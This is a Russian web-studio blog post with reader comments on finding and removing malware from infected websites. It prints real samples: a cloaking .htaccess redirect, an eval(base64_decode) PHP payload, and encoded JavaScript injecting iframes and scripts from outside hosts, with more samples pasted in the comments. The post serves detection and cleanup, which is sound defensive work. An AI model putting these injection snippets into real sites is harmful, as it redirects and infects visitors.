Сайт заражен вирусом — что делать?

11 Января 2013 26594 , ,

Вирусы на сайтеВ ходе нашей работы над сайтами клиентов, приходится сталкиваться с различного вида зараженными сайтами и лечить их от вирусов.Обычно вирусы подставляют на сайт клиента редирект на другой сайт и порой могут быт устроены достаточно хитрым образом. К примеру редирект с зараженного сайта может происходить только для мобильных систем или же редирект с сайта пользователей с поисковых систем.
Если же зайти на сайт напрямую, он будет работать отлично, сделано это специально для того, чтобы владелец сайта как можно дольше не замечал вируса на своем сайте.  Последствия продолжительного нахождения вируса на сайте могут быть весьма плачевными вплоть до получения бана со стороны поисковых систем, проблема конечно решаема, но на снятие бана нужны месяцы.

Наиболее часто подвергаются взлому сайты на cms системе Joomla 1.5, так что рекомендуем веб-мастерам переводить свои сайты на более новые версии 2.5 и 3. При заражении сайта вирусом, не обязательно должен быть взломан сам сайт, встречаются случаи, что заражая 1 сайт на аккаунте хостинга, автоматически заражаются все сайты на аккаунте, так что при поиске вируса и вредоносного кода стоит обратить внимание на все сайты аккаунты.

В данной статье я расскажу о необходимых действиях, которые необходимо выполнить, если ваш сайт был заражен. Оговорюсь заранее, что статья будет полезна больше веб-мастерам, если вы не хотите заморачиваться с изучением кода сайта и не умеете этого делать, но ваш сайт заражен. Лучше сразу обращайтесь к нам =) и мы вам поможем без лишних напряжений с вашей стороны.

Первое, что необходимо сделать, когда вы увидели, что ваш сайт заражен вирусом, это сменить все пароли от MYSQL, FTP, администраторских панелей на сайте, хостинг панели и также проверить все допустимые FTP аккаунты для хостинга. Далее же следует искать сам вредоносный код на сайте. Некоторые советуют скачивать бекап себе на сайт и делать поиск по файлам, но данный процесс может быть достаточно трудоемким.  Для облегчения поиска внутри файлов сайта, выкладываю скрипт поиска и замены внутри файлов по сайту.

Скачать архив с replace.php

Закидываем скрипт в корневую папку вашего сайта и не забываем внутри файла replace.php сменить пароль на свой. Запустить скрипт можно обратившись к нему напрямую с паролем — http://mysite.ru/replace.php?pas=вашпароль

При поиске вредоносного кода стоит отметить характер перенаправлений.

В первую очередь стоит проверить файл .htaccess на наличие сторонних редиректов.

1
2
3
4
5
6
7
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
/*Тут может быть большой список проверки юзер агентов*/
RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
RewriteRule ^(.*)$ http://operabwo.ru [L,R=302]

Если же с .htaccess все в порядке то заражены могу оказаться файлы .php и .js

В php конструкции необходимо выполнить поиск для следующего совпадения:

1
eval(base64_decode

С вариантами пробелов между ковычками. Сама по себе функция base64_decode безопасна, но с использованием eval() делает код уязвимым. Одним из популярных шелов на сайт заливают FilesMan — попробуйте поискать в том числе и его.

Пример одного из найденных вирусов

1
eval(base64_decodeDQoNCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwidHdpdHRlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29vZ2xlIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInlhbmRleC5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJtYWlsLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwiYXNrLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm1zbiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vayIpKSB7DQoJaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsJCQ0KCQloZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ29vb29nbGUub3NhLnBsLyIpOw0KCQlleGl0KCk7DQoJfQ0KfQ0KfQ));

Для случаев, когда перенаправление пользователей  происходит при переходе с поисковых систем, обычно используется javascript virus проверяющий referrer пользователя и делающий редирект

1
2
3
4
5
6
7
8
9
10
11
var refarray = new Array();

refarray["google."] = "1";

refarray["bing."] = "2";
refarray["yandex."] = "3";
refarray["rambler."] = "4";
refarray["mail."] = "5"
for (var i in refarray) {
// if (document.referrer.indexOf(i) != -1) document.location.replace(unescape('%68%74%74%70%3A%2F%2F%76%69%63%63%72%61%76%65%6E%2E%63%6F%2E%75%6B%2F%69%6D%61%67%65%73%2F%2E%62%61%63%6B%75%70%2F%64%6F%62%72%6F%2E%68%74%6D%6C'));
}

Для выявления подобного скрипта стоит искать в файлах строки с содержанием проверки  if (document.referrer  ( не забываем использовать варианты с пробелами в скобках.

Также с помощью javascript могут добавлять ифреймы и другие баннеры на сайт

пример

1
document.write('<iframe style="position:fixed;top:0px;left:-550px;" src="вредоносныйсайт" height="500" width="500"></iframe>');

Добавлять html на страницу через js могут и в не явном виде. Еще один пример js ифрейма

1
document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%62%72%73%6F%66%74%65%63%68%2E%69%6E%2F%73%79%73%74%65%6D%2F%66%6F%6E%74%73%2F%2E%74%74%66%2F%66%6F%6E%74%2E%6A%73%20%74%79%70%65%3D%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%3E%3C%2F%73%63%72%69%70%74%3E'));

Вот еще распространенный код подключаемого внешнего файла js

1
<script src=http://brsoftech.in/system/fonts/.ttf/font.js type=text/javascript></script>

Данный скрипт легко найти, просмотрев часть html кода страницы и выполнив поиск по содержимому файлов с частью html кода ифрейма или баннера.

Надеюсь данная информация будет полезна для веб мастеров. Если же вы не хотите осваивать подобные премудрости поиска вирусов на сайте, вы всегда можете обратиться к нам и мы поможем вам избавиться от вредоносного кода и устранить уязвимости на сайте.

UPD 03.02.2013

Чуть исправил файл replace.php для «лучшего понимания»

Подписывайтесь на обновления

Читайте RSS ленту

Комментарии

  • Роман ответить
    17.01.2013 в 22:09

    Сегодня обнаружил у себя на одном сайте код типа этого document.write(»);
    . Нашел его в 199 файлах .js

  • Олег ответить
    18.01.2013 в 10:12
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    var refarray = new Array();
    refarray["google."] = "1";
    refarray["bing."] = "2";
    refarray["yandex."] = "3";
    refarray["rambler."] = "4";
    refarray["mail."] = "5"
    for (var i in refarray) {
       if (document.referrer.indexOf(i) != -1) document.write(unescape('%3C%73%74%79%6C%65%3E%0A%42%4F%44%59%20%7B%6F%76%65%72%66%6C%6F%77%3A%20%68%69%64%64%65%6E%7D%0A%3C%2F%73%74%79%6C%65%3E%0A%3C%69%66%72%61%6D%65%20%73%74%79%6C%65%3D%22%7A%2D%69%6E%64%65%78%3A%32%31%34%37%34%38%33%36%34%37%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%68%65%69%67%68%74%3A%31%30%30%25%3B%77%69%64%74%68%3A%31%30%30%25%3B%6C%65%66%74%3A%30%70%78%3B%74%6F%70%3A%30%70%78%3B%62%6F%72%64%65%72%3A%30%70%78%3B%22%20%77%69%64%74%68%3D%22%31%30%30%25%22%20%68%65%69%67%68%74%3D%22%31%30%30%25%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%6F%72%62%69%65%2E%63%61%2F%62%6F%75%74%69%71%75%65%2F%77%70%2D%63%6F%6E%74%65%6E%74%2F%74%68%65%6D%65%73%2F%63%6C%61%73%73%69%63%2F%2E%62%61%63%6B%75%70%2F%2E%64%6F%62%72%6F%2E%68%74%6D%6C%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E'));
    }

    document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%4A%61%76%61%53%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%67%6F%6F%64%6D%6F%6F%64%2E%64%79%6E%64%6E%73%2E%62%69%7A%2F%69%6E%66%6F%62%2E%70%68%70%3F%69%3D%32%32%35%31%36%3E%3C%2F%73%63%72%69%70%74%3E'));

    вот такая фигня на сайте, не могу найти где лежит с replace.php не разобрался, куда и какой пароль вставлять?

    • strokoff ответить
      18.01.2013 в 17:11

      replace.php необходимо разместить в корне сайта или папки которую будете сканировать.

      В самом файле replace

      1
      if(md5($_GET['pas']) != '226776f356d7ecf58b60bab12a05d38f')

      Вам необходимо вставить свой MD5 пароль можете заменить на более понятную строку для вас

      1
      if($_GET['pas'] != 'youpass')

      Далее следует обратится
      к файлу так — http://вашсайт.ру/replace.php?pas=youpass

    • Юрий ответить
      30.01.2013 в 23:22

      Такая же фигня. Даже ссылка после расшифровки ведёт туда же.

      orbie.ca/boutique/wp-content/themes/classic/.backup/.dobro.html
      У вас не получилось избавиться от этой хрени?

    • Юрий ответить
      31.01.2013 в 00:03

      Нашёл. В конце файлов index.php в корне сайта такой код:
      eval(base64_decode(«JHVybHMgPSBhcnJheSgnaHR0cDovL2Jyc29mdGVja…. и так далее

      • strokoff
        01.02.2013 в 15:16

        Рад, что моя статья оказалось полезной.

  • Олег ответить
    18.01.2013 в 10:15

    может ли быть этот код вирусным

    1
    function(e){e=e.split("=");c=c||{};c[unescape(e[0])]=unescape(e[1])})}return c},setHash:function(j,b,g,f,i,c){var h="";a(b,function(e,d){h+=(!h?"":"&amp;")+escape(d)+"="+escape(e)});this.set(j,h,g,f,i,c)},get:function(i){var h=document.cookie,g,f=i+"=",d;if(!h){return}d=h.indexOf("; "+f);if(d==-1){d=h.indexOf(f);if(d!=0){return null}}else{d+=2}g=h.indexOf(";",d);if(g==-1){g=h.length}return
    • strokoff ответить
      18.01.2013 в 17:12

      Данный код не является вредоносным

  • Данила ответить
    02.02.2013 в 17:06

    Какой пароль нужно вставлять, пишет доступ запрещен

    • strokoff ответить
      02.02.2013 в 19:07

      Вам необходимо придумать свой пароль и вставить как показано выше в комментариях или в статье.

  • фыв ответить
    24.04.2013 в 22:23

    спасибо, друг. всю ночь выбивал этот чертов код. Он, оказывается, уже день сидел, пока я на работе был

  • Максим ответить
    22.11.2013 в 03:48

    Здравствуйте, уже несколько месяцев как не могу найти корень зла на сайте, пишет вышеупомянутую ошибку (аваст антивирус) «brsoftech.in/system/fonts/.ttf/font.jsjs:iframe-axm []» а поиск по данным критериям не дает никакой информации, интуиция подсказывает что где то widgetkite но не могу найти где. Покоя не дает  =(Может вы встречались с подобной проблемой и знаете как ее исправить?Сайт step-dv.ruВаш скрипт: 

    • strokoff ответить
      22.11.2013 в 17:37

      Вы можете обратиться с более подробным описанием проблемы к нам на почту info@webislife.ru и мы рассмотрим ваш случай.

  • Алексей ответить
    15.02.2014 в 19:27

    Добрый день.Не подскажите как лечить ? <script>document.write(«<sc»+»ript src=’http://hppfast.ru/ist.js’></scr»+»ipt>»);</script>

    • strokoff ответить
      27.03.2014 в 23:00

      Добрый день, попробуйте для начала описанные выше в статье методы. Лечение самой уязвимости зависит от CMS сайта и других факторов.

Добавить комментарий